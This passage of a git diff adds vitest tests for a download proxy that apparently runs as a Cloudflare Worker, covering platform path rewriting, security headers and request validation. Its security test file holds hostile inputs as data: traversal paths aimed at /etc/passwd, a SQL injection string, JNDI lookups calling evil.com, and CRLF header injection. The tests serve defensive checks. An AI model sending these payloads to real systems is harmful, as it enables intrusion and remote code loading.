= 0; i < 10; i++) { + promises.push( + new Promise(resolve => { + setTimeout(() => { + monitor.mark(`concurrent-${i}`); + resolve(); + }, Math.random() * 10); + }) + ); + } + + return Promise.all(promises).then(() => { + const metrics = monitor.getMetrics(); + expect(Object.keys(metrics)).toHaveLength(10); + }); + }); + }); +}); \ No newline at end of file diff --git a/test/platforms.test.js b/test/platforms.test.js new file mode 100644 index 0000000..7f4c9e0 --- /dev/null +++ b/test/platforms.test.js @@ -0,0 +1,178 @@ +import { describe, expect, it } from 'vitest'; +import { PLATFORMS } from '../src/config/platforms.js'; + +describe('Platform Configuration', () => { + describe('Platform Definitions', () => { + it('should have all required platforms defined', () => { + const requiredPlatforms = ['gh', 'gl', 'hf', 'npm', 'pypi', 'conda']; + + requiredPlatforms.forEach(platform => { + expect(PLATFORMS).toHaveProperty(platform); + expect(PLATFORMS[platform]).toBeDefined(); + }); + }); + + it('should have valid base URLs for all platforms', () => { + Object.entries(PLATFORMS).forEach(([key, config]) => { + expect(config.base).toBeDefined(); + expect(config.base).toMatch(/^https?:\/\/.+/); + }); + }); + + it('should have transform functions for all platforms', () => { + Object.entries(PLATFORMS).forEach(([key, config]) => { + expect(config.transform).toBeDefined(); + expect(typeof config.transform).toBe('function'); + }); + }); + }); + + describe('GitHub Platform', () => { + it('should transform GitHub paths correctly', () => { + const transform = PLATFORMS.gh.transform; + + expect(transform('/gh/microsoft/vscode/archive/main.zip')) + .toBe('/microsoft/vscode/archive/main.zip'); + + expect(transform('/gh/user/repo.git')) + .toBe('/user/repo.git'); + }); + + it('should have correct base URL', () => { + expect(PLATFORMS.gh.base).toBe('https://github.com'); + }); + }); + + describe('GitLab Platform', () => { + it('should transform GitLab paths correctly', () => { + const transform = PLATFORMS.gl.transform; + + expect(transform('/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip')) + .toBe('/gitlab-org/gitlab/-/archive/master/gitlab-master.zip'); + }); + + it('should have correct base URL', () => { + expect(PLATFORMS.gl.base).toBe('https://gitlab.com'); + }); + }); + + describe('Hugging Face Platform', () => { + it('should transform Hugging Face paths correctly', () => { + const transform = PLATFORMS.hf.transform; + + expect(transform('/hf/microsoft/DialoGPT-medium/resolve/main/config.json')) + .toBe('/microsoft/DialoGPT-medium/resolve/main/config.json'); + + expect(transform('/hf/datasets/squad/resolve/main/train.json')) + .toBe('/datasets/squad/resolve/main/train.json'); + }); + + it('should have correct base URL', () => { + expect(PLATFORMS.hf.base).toBe('https://huggingface.co'); + }); + }); + + describe('npm Platform', () => { + it('should transform npm paths correctly', () => { + const transform = PLATFORMS.npm.transform; + + expect(transform('/npm/react/-/react-18.2.0.tgz')) + .toBe('/react/-/react-18.2.0.tgz'); + + expect(transform('/npm/lodash')) + .toBe('/lodash'); + }); + + it('should have correct base URL', () => { + expect(PLATFORMS.npm.base).toBe('https://registry.npmjs.org'); + }); + }); + + describe('PyPI Platform', () => { + it('should transform PyPI paths correctly', () => { + const transform = PLATFORMS.pypi.transform; + + expect(transform('/pypi/packages/source/r/requests/requests-2.31.0.tar.gz')) + .toBe('/packages/source/r/requests/requests-2.31.0.tar.gz'); + + expect(transform('/pypi/simple/requests/')) + .toBe('/simple/requests/'); + }); + + it('should have correct base URL', () => { + expect(PLATFORMS.pypi.base).toBe('https://pypi.org'); + }); + }); + + describe('conda Platform', () => { + it('should transform conda default channel paths correctly', () => { + const transform = PLATFORMS.conda.transform; + + expect(transform('/conda/pkgs/main/linux-64/numpy-1.24.3.conda')) + .toBe('/pkgs/main/linux-64/numpy-1.24.3.conda'); + }); + + it('should transform conda community channel paths correctly', () => { + const transform = PLATFORMS.conda.transform; + + expect(transform('/conda/community/conda-forge/linux-64/repodata.json')) + .toBe('/conda-forge/linux-64/repodata.json'); + }); + + it('should have correct base URLs', () => { + expect(PLATFORMS.conda.base).toBe('https://repo.anaconda.com'); + expect(PLATFORMS.conda.communityBase).toBe('https://conda.anaconda.org'); + }); + }); + + describe('Path Transformation Edge Cases', () => { + it('should handle empty paths gracefully', () => { + Object.entries(PLATFORMS).forEach(([key, config]) => { + expect(() => config.transform('')).not.toThrow(); + }); + }); + + it('should handle paths without platform prefix', () => { + Object.entries(PLATFORMS).forEach(([key, config]) => { + const testPath = '/some/random/path'; + expect(() => config.transform(testPath)).not.toThrow(); + }); + }); + + it('should handle paths with query parameters', () => { + const transform = PLATFORMS.gh.transform; + + expect(transform('/gh/user/repo/file.txt?ref=main')) + .toBe('/user/repo/file.txt?ref=main'); + }); + + it('should handle paths with fragments', () => { + const transform = PLATFORMS.gh.transform; + + expect(transform('/gh/user/repo/README.md#section')) + .toBe('/user/repo/README.md#section'); + }); + }); + + describe('URL Construction', () => { + it('should construct valid URLs for all platforms', () => { + Object.entries(PLATFORMS).forEach(([key, config]) => { + const testPath = `/${key}/test/path`; + const transformedPath = config.transform(testPath); + const fullUrl = config.base + transformedPath; + + expect(() => new URL(fullUrl)).not.toThrow(); + }); + }); + + it('should handle conda community URLs correctly', () => { + const config = PLATFORMS.conda; + const communityPath = '/conda/community/conda-forge/test'; + const transformedPath = config.transform(communityPath); + const fullUrl = config.communityBase + transformedPath; + + expect(() => new URL(fullUrl)).not.toThrow(); + expect(fullUrl).toContain('conda.anaconda.org'); + }); + }); +}); \ No newline at end of file diff --git a/test/security.test.js b/test/security.test.js new file mode 100644 index 0000000..35080be --- /dev/null +++ b/test/security.test.js @@ -0,0 +1,276 @@ +import { SELF } from 'cloudflare:test'; +import { describe, expect, it } from 'vitest'; + +describe('Security Features', () => { + describe('Security Headers', () => { + it('should include Strict-Transport-Security header', async () => { + const response = await SELF.fetch('https://example.com/'); + + const hsts = response.headers.get('Strict-Transport-Security'); + expect(hsts).toBeTruthy(); + expect(hsts).toContain('max-age='); + expect(hsts).toContain('includeSubDomains'); + expect(hsts).toContain('preload'); + }); + + it('should include X-Frame-Options header', async () => { + const response = await SELF.fetch('https://example.com/'); + + expect(response.headers.get('X-Frame-Options')).toBe('DENY'); + }); + + it('should include X-XSS-Protection header', async () => { + const response = await SELF.fetch('https://example.com/'); + + expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block'); + }); + + it('should include Content-Security-Policy header', async () => { + const response = await SELF.fetch('https://example.com/'); + + const csp = response.headers.get('Content-Security-Policy'); + expect(csp).toBeTruthy(); + expect(csp).toContain("default-src 'none'"); + }); + + it('should include Referrer-Policy header', async () => { + const response = await SELF.fetch('https://example.com/'); + + expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin'); + }); + + it('should include Permissions-Policy header', async () => { + const response = await SELF.fetch('https://example.com/'); + + const permissionsPolicy = response.headers.get('Permissions-Policy'); + expect(permissionsPolicy).toBeTruthy(); + expect(permissionsPolicy).toContain('interest-cohort=()'); + }); + }); + + describe('HTTP Method Restrictions', () => { + it('should reject PATCH method', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo', { + method: 'PATCH' + }); + + expect(response.status).toBe(405); + }); + + it('should reject PUT method for non-Git requests', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { + method: 'PUT' + }); + + expect(response.status).toBe(405); + }); + + it('should reject DELETE method', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo', { + method: 'DELETE' + }); + + expect(response.status).toBe(405); + }); + + it('should reject OPTIONS method', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo', { + method: 'OPTIONS' + }); + + expect(response.status).toBe(405); + }); + }); + + describe('Path Validation', () => { + it('should reject paths with directory traversal attempts', async () => { + const maliciousPaths = [ + '/gh/../../../etc/passwd', + '/gh/user/repo/../../../sensitive', + '/gh/user/repo/..%2F..%2F..%2Fetc%2Fpasswd', + '/gh/user/repo/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' + ]; + + for (const path of maliciousPaths) { + const response = await SELF.fetch(`https://example.com${path}`); + // Should either reject with 400 or safely handle the path + expect([400, 404, 500]).toContain(response.status); + } + }); + + it('should reject extremely long paths', async () => { + const longPath = '/gh/' + 'a'.repeat(3000); + const response = await SELF.fetch(`https://example.com${longPath}`); + + expect(response.status).toBe(414); + }); + + it('should handle URL encoding safely', async () => { + const encodedPaths = [ + '/gh/user/repo%20with%20spaces', + '/gh/user/repo%2Ffile.txt', + '/gh/user%40domain/repo' + ]; + + for (const path of encodedPaths) { + const response = await SELF.fetch(`https://example.com${path}`); + // Should handle encoded paths without security issues + expect(response.status).not.toBe(500); + } + }); + }); + + describe('Input Sanitization', () => { + it('should handle special characters in paths', async () => { + const specialPaths = [ + '/gh/user/repo', + '/gh/user/repo\'; DROP TABLE users; --', + '/gh/user/repo${jndi:ldap://evil.com}', + '/gh/user/repo{{7*7}}' + ]; + + for (const path of specialPaths) { + const response = await SELF.fetch(`https://example.com${path}`); + // Should safely handle special characters + expect(response.status).not.toBe(500); + } + }); + + it('should handle Unicode characters safely', async () => { + const unicodePaths = [ + '/gh/用户/仓库/文件.txt', + '/gh/user/repo/файл.txt', + '/gh/user/repo/ファイル.txt' + ]; + + for (const path of unicodePaths) { + const response = await SELF.fetch(`https://example.com${path}`); + // Should handle Unicode without issues + expect(response.status).not.toBe(500); + } + }); + }); + + describe('Request Header Validation', () => { + it('should handle malicious User-Agent headers', async () => { + const maliciousUserAgents = [ + '', + 'Mozilla/5.0 ${jndi:ldap://evil.com}', + 'User-Agent\r\nX-Injected-Header: malicious' + ]; + + for (const userAgent of maliciousUserAgents) { + const response = await SELF.fetch('https://example.com/gh/test/repo', { + headers: { + 'User-Agent': userAgent + } + }); + + // Should handle malicious user agents safely + expect(response.status).not.toBe(500); + } + }); + + it('should handle header injection attempts', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo', { + headers: { + 'X-Test': 'value\r\nX-Injected: malicious', + 'Referer': 'https://evil.com\r\nX-Injected: header' + } + }); + + // Should not allow header injection + expect(response.headers.get('X-Injected')).toBeNull(); + }); + }); + + describe('Rate Limiting and DoS Protection', () => { + it('should handle concurrent requests gracefully', async () => { + const requests = Array(10).fill().map(() => + SELF.fetch('https://example.com/gh/test/repo/small-file.txt') + ); + + const responses = await Promise.all(requests); + + // All requests should be handled without errors + responses.forEach(response => { + expect(response.status).not.toBe(500); + }); + }); + + it('should timeout long-running requests', async () => { + // This test would need to be implemented based on actual timeout behavior + // For now, we just verify the request doesn't hang indefinitely + const startTime = Date.now(); + + try { + await SELF.fetch('https://example.com/gh/test/very-large-file', { + signal: AbortSignal.timeout(35000) // Slightly longer than expected timeout + }); + } catch (error) { + // Request should timeout or complete within reasonable time + const elapsed = Date.now() - startTime; + expect(elapsed).toBeLessThan(40000); // 40 seconds max + } + }); + }); + + describe('Error Information Disclosure', () => { + it('should not expose internal error details', async () => { + const response = await SELF.fetch('https://example.com/invalid-platform/test'); + + expect(response.status).toBe(400); + + const body = await response.text(); + // Should not expose internal paths, stack traces, or sensitive info + expect(body).not.toMatch(/\/[a-zA-Z]:[\\\/]/); // Windows paths + expect(body).not.toMatch(/\/home\/[^\/]+/); // Unix home paths + expect(body).not.toMatch(/at [a-zA-Z]+\.[a-zA-Z]+/); // Stack traces + expect(body).not.toMatch(/Error: .+ at/); // Detailed error messages + }); + + it('should provide generic error messages', async () => { + const response = await SELF.fetch('https://example.com/invalid'); + + const body = await response.text(); + // Error messages should be generic and safe + expect(body.length).toBeLessThan(200); // Not too verbose + expect(body).not.toContain('undefined'); + expect(body).not.toContain('null'); + }); + }); + + describe('CORS Security', () => { + it('should handle CORS preflight requests securely', async () => { + const response = await SELF.fetch('https://example.com/gh/test/repo', { + method: 'OPTIONS', + headers: { + 'Origin': 'https://evil.com', + 'Access-Control-Request-Method': 'GET', + 'Access-Control-Request-Headers': 'X-Custom-Header' + } + }); + + // Should either reject OPTIONS or handle CORS securely + if (response.status === 200) { + const allowOrigin = response.headers.get('Access-Control-Allow-Origin'); + // Should not blindly allow all origins for sensitive operations + expect(allowOrigin).not.toBe('https://evil.com'); + } + }); + }); + + describe('Content Type Security', () => { + it('should not execute uploaded content', async () => { + // Test that the service doesn't execute or interpret uploaded content + const response = await SELF.fetch('https://example.com/gh/test/repo/script.js'); + + // Should serve content with appropriate headers, not execute it + const contentType = response.headers.get('Content-Type'); + if (contentType) { + expect(contentType).not.toContain('text/html'); + expect(contentType).not.toContain('application/javascript'); + } + }); + }); +}); \ No newline at end of file diff --git a/test/setup.js b/test/setup.js new file mode 100644 index 0000000..9341a9a --- /dev/null +++ b/test/setup.js @@ -0,0 +1,300 @@ +/** + * Test setup and global configuration + */ + +import { afterAll, afterEach, beforeAll, beforeEach } from 'vitest'; + +// Global test configuration +const TEST_CONFIG = { + timeout: 30000, // 30 seconds + retries: 2, + bail: false +}; + +// Global test state +let testStartTime; +let testMetrics = { + totalTests: 0, + passedTests: 0, + failedTests: 0, + skippedTests: 0 +}; + +/** + * Global setup - runs once before all tests + */ +beforeAll(async () => { + console.log('🚀 Starting Xget test suite...'); + testStartTime = Date.now(); + + // Initialize test environment + await setupTestEnvironment(); + + // Verify test dependencies + await verifyTestDependencies(); + + console.log('✅ Test environment initialized'); +}); + +/** + * Global teardown - runs once after all tests + */ +afterAll(async () => { + const duration = Date.now() - testStartTime; + + console.log('\n📊 Test Suite Summary:'); + console.log(` Duration: ${duration}ms`); + console.log(` Total: ${testMetrics.totalTests}`); + console.log(` Passed: ${testMetrics.passedTests}`); + console.log(` Failed: ${testMetrics.failedTests}`); + console.log(` Skipped: ${testMetrics.skippedTests}`); + + // Cleanup test environment + await cleanupTestEnvironment(); + + console.log('🏁 Test suite completed'); +}); + +/** + * Setup before each test + */ +beforeEach(async (context) => { + testMetrics.totalTests++; + + // Reset any global state + resetGlobalState(); + + // Setup test-specific environment + await setupTestCase(context); +}); + +/** + * Cleanup after each test + */ +afterEach(async (context) => { + // Update test metrics based on result + if (context.meta?.result === 'pass') { + testMetrics.passedTests++; + } else if (context.meta?.result === 'fail') { + testMetrics.failedTests++; + } else if (context.meta?.result === 'skip') { + testMetrics.skippedTests++; + } + + // Cleanup test-specific resources + await cleanupTestCase(context); +}); + +/** + * Setup test environment + */ +async function setupTestEnvironment() { + // Verify Cloudflare Workers environment + if (typeof globalThis.fetch === 'undefined') { + throw new Error('fetch is not available in test environment'); + } + + // Setup global test utilities + globalThis.TEST_CONFIG = TEST_CONFIG; + + // Initialize performance monitoring + if (typeof performance === 'undefined') { + globalThis.performance = { + now: () => Date.now() + }; + } + + // Setup console overrides for testing + setupConsoleOverrides(); +} + +/** + * Verify test dependencies + */ +async function verifyTestDependencies() { + const requiredGlobals = [ + 'Request', + 'Response', + 'Headers', + 'URL', + 'URLSearchParams' + ]; + + for (const global of requiredGlobals) { + if (typeof globalThis[global] === 'undefined') { + throw new Error(`Required global ${global} is not available`); + } + } + + // Verify SELF is available for Cloudflare Workers testing + try { + const { SELF } = await import('cloudflare:test'); + if (!SELF) { + throw new Error('SELF is not available'); + } + } catch (error) { + console.warn('Warning: Cloudflare Workers test environment not available'); + } +} + +/** + * Setup console overrides for testing + */ +function setupConsoleOverrides() { + const originalConsole = { ...console }; + + // Store original console methods + globalThis.originalConsole = originalConsole; + + // Override console methods for testing + console.warn = (...args) => { + if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) { + originalConsole.warn(...args); + } + }; + + console.log = (...args) => { + if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) { + originalConsole.log(...args); + } + }; +} + +/** + * Reset global state between tests + */ +function resetGlobalState() { + // Clear any cached data + if (globalThis.testCache) { + globalThis.testCache.clear(); + } + + // Reset performance counters + if (globalThis.testPerformance) { + globalThis.testPerformance.reset(); + } +} + +/** + * Setup individual test case + */ +async function setupTestCase(context) { + // Create test-specific cache + globalThis.testCache = new Map(); + + // Setup test-specific performance monitoring + globalThis.testPerformance = { + marks: new Map(), + mark: (name) => { + globalThis.testPerformance.marks.set(name, performance.now()); + }, + measure: (name, startMark, endMark) => { + const start = globalThis.testPerformance.marks.get(startMark) || 0; + const end = globalThis.testPerformance.marks.get(endMark) || performance.now(); + return end - start; + }, + reset: () => { + globalThis.testPerformance.marks.clear(); + } + }; + + // Mark test start time + globalThis.testPerformance.mark('test-start'); +} + +/** + * Cleanup individual test case + */ +async function cleanupTestCase(context) { + // Mark test end time + globalThis.testPerformance.mark('test-end'); + + // Log test performance if verbose + if (process.env.VERBOSE_TESTS) { + const duration = globalThis.testPerformance.measure( + 'test-duration', + 'test-start', + 'test-end' + ); + console.log(`Test "${context.meta?.name}" took ${duration.toFixed(2)}ms`); + } + + // Cleanup test-specific resources + if (globalThis.testCache) { + globalThis.testCache.clear(); + } + + if (globalThis.testPerformance) { + globalThis.testPerformance.reset(); + } +} + +/** + * Cleanup test environment + */ +async function cleanupTestEnvironment() { + // Restore original console + if (globalThis.originalConsole) { + Object.assign(console, globalThis.originalConsole); + delete globalThis.originalConsole; + } + + // Cleanup global test utilities + delete globalThis.TEST_CONFIG; + delete globalThis.testCache; + delete globalThis.testPerformance; +} + +/** + * Custom test utilities available globally + */ +globalThis.testUtils = { + /** + * Create a test timeout + */ + timeout: (ms) => new Promise((_, reject) => { + setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms); + }), + + /** + * Wait for a condition to be true + */ + waitFor: async (condition, timeout = 5000, interval = 100) => { + const start = Date.now(); + + while (Date.now() - start < timeout) { + if (await condition()) { + return true; + } + await new Promise(resolve => setTimeout(resolve, interval)); + } + + throw new Error(`Condition not met within ${timeout}ms`); + }, + + /** + * Retry a function with exponential backoff + */ + retry: async (fn, maxRetries = 3, baseDelay = 100) => { + let lastError; + + for (let i = 0; i < maxRetries; i++) { + try { + return await fn(); + } catch (error) { + lastError = error; + + if (i < maxRetries - 1) { + const delay = baseDelay * Math.pow(2, i); + await new Promise(resolve => setTimeout(resolve, delay)); + } + } + } + + throw lastError; + } +}; + +// Export test configuration for use in other files +export { TEST_CONFIG, testMetrics }; + diff --git a/test/utils.test.js b/test/utils.test.js new file mode 100644 index 0000000..8dd4c76 --- /dev/null +++ b/test/utils.test.js @@ -0,0 +1,351 @@ +import { describe, expect, it } from 'vitest'; + +// Mock utility functions for testing +// These would normally be imported from actual utility modules + +function isGitRequest(request, url) { + // Check for Git-specific endpoints + if (url.pathname.endsWith("/info/refs")) { + return true; + } + + if ( + url.pathname.endsWith("/git-upload-pack") || + url.pathname.endsWith("/git-receive-pack") + ) { + return true; + } + + // Check for Git user agents + const userAgent = request.headers.get("User-Agent") || ""; + if (userAgent.includes("git/") || userAgent.startsWith("git/")) { + return true; + } + + // Check for Git-specific query parameters + if (url.searchParams.has("service")) { + const service = url.searchParams.get("service"); + return service === "git-upload-pack" || service === "git-receive-pack"; + } + + // Check for Git-specific content types + const contentType = request.headers.get("Content-Type") || ""; + if ( + contentType.includes("git-upload-pack") || + contentType.includes("git-receive-pack") + ) { + return true; + } + + return false; +} + +function validateRequest(request, url) { + const CONFIG = { + SECURITY: { + ALLOWED_METHODS: ["GET", "HEAD"], + MAX_PATH_LENGTH: 2048 + } + }; + + // Allow POST method for Git operations + const allowedMethods = isGitRequest(request, url) + ? ["GET", "HEAD", "POST"] + : CONFIG.SECURITY.ALLOWED_METHODS; + + if (!allowedMethods.includes(request.method)) { + return { valid: false, error: "Method not allowed", status: 405 }; + } + + if (url.pathname.length > CONFIG.SECURITY.MAX_PATH_LENGTH) { + return { valid: false, error: "Path too long", status: 414 }; + } + + return { valid: true }; +} + +function addSecurityHeaders(headers) { + headers.set( + "Strict-Transport-Security", + "max-age=31536000; includeSubDomains; preload" + ); + headers.set("X-Frame-Options", "DENY"); + headers.set("X-XSS-Protection", "1; mode=block"); + headers.set("Referrer-Policy", "strict-origin-when-cross-origin"); + headers.set( + "Content-Security-Policy", + "default-src 'none'; img-src 'self'; script-src 'none'" + ); + headers.set("Permissions-Policy", "interest-cohort=()"); + return headers; +} + +describe('Utility Functions', () => { + describe('isGitRequest', () => { + it('should identify Git info/refs requests', () => { + const request = new Request('https://example.com/repo.git/info/refs'); + const url = new URL(request.url); + + expect(isGitRequest(request, url)).toBe(true); + }); + + it('should identify Git upload-pack requests', () => { + const request = new Request('https://example.com/repo.git/git-upload-pack'); + const url = new URL(request.url); + + expect(isGitRequest(request, url)).toBe(true); + }); + + it('should identify Git receive-pack requests', () => { + const request = new Request('https://example.com/repo.git/git-receive-pack'); + const url = new URL(request.url); + + expect(isGitRequest(request, url)).toBe(true); + }); + + it('should identify Git requests by User-Agent', () => { + const request = new Request('https://example.com/repo.git', { + headers: { 'User-Agent': 'git/2.34.1' } + }); + const url = new URL(request.url); + + expect(isGitRequest(request, url)).toBe(true); + }); + + it('should identify Git requests by service parameter', () => { + const request = new Request('https://example.com/repo.git/info/refs?service=git-upload-pack'); + const url = new URL(request.url); + + expect(isGitRequest(request, url)).toBe(true); + }); + + it('should identify Git requests by content type', () => { + const request = new Request('https://example.com/repo.git/git-upload-pack', { + method: 'POST', + headers: { 'Content-Type': 'application/x-git-upload-pack-request' } + }); + const url = new URL(request.url); + + expect(isGitRequest(request, url)).toBe(true); + }); + + it('should not identify regular file requests as Git', () => { + const request = new Request('https://example.com/repo/file.txt'); + const url = new URL(request.url); + + expect(isGitRequest(request, url)).toBe(false); + }); + + it('should handle edge cases gracefully', () => { + const request = new Request('https://example.com/'); + const url = new URL(request.url); + + expect(isGitRequest(request, url)).toBe(false); + }); + }); + + describe('validateRequest', () => { + it('should allow GET requests', () => { + const request = new Request('https://example.com/test', { method: 'GET' }); + const url = new URL(request.url); + + const result = validateRequest(request, url); + expect(result.valid).toBe(true); + }); + + it('should allow HEAD requests', () => { + const request = new Request('https://example.com/test', { method: 'HEAD' }); + const url = new URL(request.url); + + const result = validateRequest(request, url); + expect(result.valid).toBe(true); + }); + + it('should reject PUT requests for non-Git operations', () => { + const request = new Request('https://example.com/test', { method: 'PUT' }); + const url = new URL(request.url); + + const result = validateRequest(request, url); + expect(result.valid).toBe(false); + expect(result.status).toBe(405); + }); + + it('should allow POST requests for Git operations', () => { + const request = new Request('https://example.com/repo.git/git-upload-pack', { + method: 'POST', + headers: { 'User-Agent': 'git/2.34.1' } + }); + const url = new URL(request.url); + + const result = validateRequest(request, url); + expect(result.valid).toBe(true); + }); + + it('should reject extremely long paths', () => { + const longPath = '/' + 'a'.repeat(3000); + const request = new Request(`https://example.com${longPath}`); + const url = new URL(request.url); + + const result = validateRequest(request, url); + expect(result.valid).toBe(false); + expect(result.status).toBe(414); + }); + + it('should accept normal length paths', () => { + const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip'; + const request = new Request(`https://example.com${normalPath}`); + const url = new URL(request.url); + + const result = validateRequest(request, url); + expect(result.valid).toBe(true); + }); + }); + + describe('addSecurityHeaders', () => { + it('should add all required security headers', () => { + const headers = new Headers(); + const result = addSecurityHeaders(headers); + + expect(result.get('Strict-Transport-Security')).toBeTruthy(); + expect(result.get('X-Frame-Options')).toBe('DENY'); + expect(result.get('X-XSS-Protection')).toBe('1; mode=block'); + expect(result.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin'); + expect(result.get('Content-Security-Policy')).toBeTruthy(); + expect(result.get('Permissions-Policy')).toBeTruthy(); + }); + + it('should set HSTS with proper directives', () => { + const headers = new Headers(); + const result = addSecurityHeaders(headers); + + const hsts = result.get('Strict-Transport-Security'); + expect(hsts).toContain('max-age=31536000'); + expect(hsts).toContain('includeSubDomains'); + expect(hsts).toContain('preload'); + }); + + it('should set CSP with restrictive policy', () => { + const headers = new Headers(); + const result = addSecurityHeaders(headers); + + const csp = result.get('Content-Security-Policy'); + expect(csp).toContain("default-src 'none'"); + expect(csp).toContain("script-src 'none'"); + }); + + it('should not overwrite existing headers', () => { + const headers = new Headers(); + headers.set('X-Custom-Header', 'custom-value'); + + const result = addSecurityHeaders(headers); + + expect(result.get('X-Custom-Header')).toBe('custom-value'); + expect(result.get('X-Frame-Options')).toBe('DENY'); + }); + + it('should return the same Headers object', () => { + const headers = new Headers(); + const result = addSecurityHeaders(headers); + + expect(result).toBe(headers); + }); + }); + + describe('URL and Path Utilities', () => { + it('should handle URL parsing correctly', () => { + const testUrls = [ + 'https://example.com/gh/user/repo/file.txt', + 'https://example.com/gl/group/project/-/blob/main/README.md', + 'https://example.com/hf/microsoft/model/resolve/main/config.json' + ]; + + testUrls.forEach(urlString => { + expect(() => new URL(urlString)).not.toThrow(); + + const url = new URL(urlString); + expect(url.protocol).toBe('https:'); + expect(url.hostname).toBe('example.com'); + expect(url.pathname).toBeTruthy(); + }); + }); + + it('should handle query parameters correctly', () => { + const url = new URL('https://example.com/gh/repo?ref=main&path=src'); + + expect(url.searchParams.get('ref')).toBe('main'); + expect(url.searchParams.get('path')).toBe('src'); + expect(url.searchParams.has('nonexistent')).toBe(false); + }); + + it('should handle URL fragments correctly', () => { + const url = new URL('https://example.com/gh/repo/README.md#section'); + + expect(url.hash).toBe('#section'); + expect(url.pathname).toBe('/gh/repo/README.md'); + }); + }); + + describe('Request and Response Utilities', () => { + it('should create requests with proper headers', () => { + const request = new Request('https://example.com/test', { + method: 'GET', + headers: { + 'User-Agent': 'Xget/1.0', + 'Accept': 'application/json' + } + }); + + expect(request.method).toBe('GET'); + expect(request.headers.get('User-Agent')).toBe('Xget/1.0'); + expect(request.headers.get('Accept')).toBe('application/json'); + }); + + it('should handle request cloning', () => { + const originalRequest = new Request('https://example.com/test', { + method: 'POST', + body: 'test data', + headers: { 'Content-Type': 'text/plain' } + }); + + const clonedRequest = originalRequest.clone(); + + expect(clonedRequest.method).toBe(originalRequest.method); + expect(clonedRequest.url).toBe(originalRequest.url); + expect(clonedRequest.headers.get('Content-Type')).toBe('text/plain'); + }); + + it('should create responses with proper status codes', () => { + const responses = [ + new Response('OK', { status: 200 }), + new Response('Not Found', { status: 404 }), + new Response('Server Error', { status: 500 }) + ]; + + expect(responses[0].status).toBe(200); + expect(responses[1].status).toBe(404); + expect(responses[2].status).toBe(500); + }); + }); + + describe('Error Handling Utilities', () => { + it('should create proper error responses', () => { + const errorResponse = new Response('Bad Request', { + status: 400, + statusText: 'Bad Request', + headers: { 'Content-Type': 'text/plain' } + }); + + expect(errorResponse.status).toBe(400); + expect(errorResponse.statusText).toBe('Bad Request'); + expect(errorResponse.headers.get('Content-Type')).toBe('text/plain'); + }); + + it('should handle async error scenarios', async () => { + const asyncFunction = async () => { + throw new Error('Test error'); + }; + + await expect(asyncFunction()).rejects.toThrow('Test error'); + }); + }); +}); \ No newline at end of file diff --git a/vitest.config.js b/vitest.config.js index 503a717..0baa8fa 100644 --- a/vitest.config.js +++ b/vitest.config.js @@ -7,5 +7,32 @@ export default defineWorkersConfig({ wrangler: { configPath: './wrangler.toml' }, }, }, + coverage: { + provider: 'v8', + reporter: ['text', 'json', 'html', 'lcov'], + reportsDirectory: './coverage', + exclude: [ + 'node_modules/**', + 'test/**', + 'coverage/**', + 'dist/**', + '*.config.js', + '*.config.ts' + ], + include: [ + 'src/**/*.js', + 'src/**/*.ts' + ], + thresholds: { + global: { + branches: 80, + functions: 80, + lines: 80, + statements: 80 + } + } + }, + globals: true, + environment: 'node' }, });